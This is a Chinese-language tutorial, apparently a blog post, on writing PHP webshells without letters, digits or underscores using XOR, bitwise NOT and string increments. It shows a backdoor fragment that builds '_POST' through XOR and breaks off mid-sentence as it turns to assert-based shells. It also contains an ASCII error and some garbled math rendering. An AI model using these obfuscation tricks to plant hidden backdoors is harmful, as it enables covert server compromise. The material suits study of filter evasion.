文章目录
前言
膜拜下phithon师傅
一些不包含数字和字母的webshell
信安之路的微笑
php 不用字母,数字和下划线写 shell
知识铺垫
PHP中异或(^)概念
先上测试代码
<?php
echo "A"^"?";
?>
代码对字符A
和?
进行了异或操作.PHP中异或时会将字符转化ASCII值在转成二进制,再进行异或.异或完反过来转化成字符
A
的ASCII值为65
,二进制则是01000001
?
的ASCII转值为65
,二进制是00111111
异或二进制结果结果为10000000
,对应的字符就是~
.
非数字字母的PHP后门:
<?php
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
//.=是字符的连接
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //上面代码为一句
?>
PHP取反(~)概念
利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,
比如:和
的utf-8编码为\xe5\x92\x8c
,第三个字节和{2}
的值为\x8c
,其取反值为-141
,负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141
的 16 进制为 0xff73
,php 中 chr(0xff73)==115
,115
就是 s
的 ASCII 值。因此
<?php
highlight_file(__FILE__);
$_="和";
echo (~($_{
2}));
echo (~"\x8c"); //等同与上一句
?>
不用数字构造数字
- 利用PHP弱类型特效,true的值为
1
,则true+true=2
$_=('>'>'<')+('>'>'<')
print($_)
- 利用PHP未定义变量默认值为
null
,null=false=0
,所以利用自增操作得到数字
<?php
$_++;
print($_);
?>
用字符串自增,获取字符
php文档
在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = ‘Z’; $a++; 将把 $a 变成’AA’,而在 C 中,a = ‘Z’; a++; 将把 a 变成 ‘[’(‘Z’ 的 ASCII 值是 90,’[’ 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。
也就是说,'a'++ => 'b'
,'b'++ => 'c'
… 所以,我们只要拿到一个变量值为a
,通过自增操作即可获得a-z中所有字符。
在PHP中如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
,再取这个字符串的第一个字母,就可以获得A
了。
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
webshell
php5和7的差异。
- php5中assert是一个函数,我们可以通过 f = ′ a s s e r t ′ ; f='assert';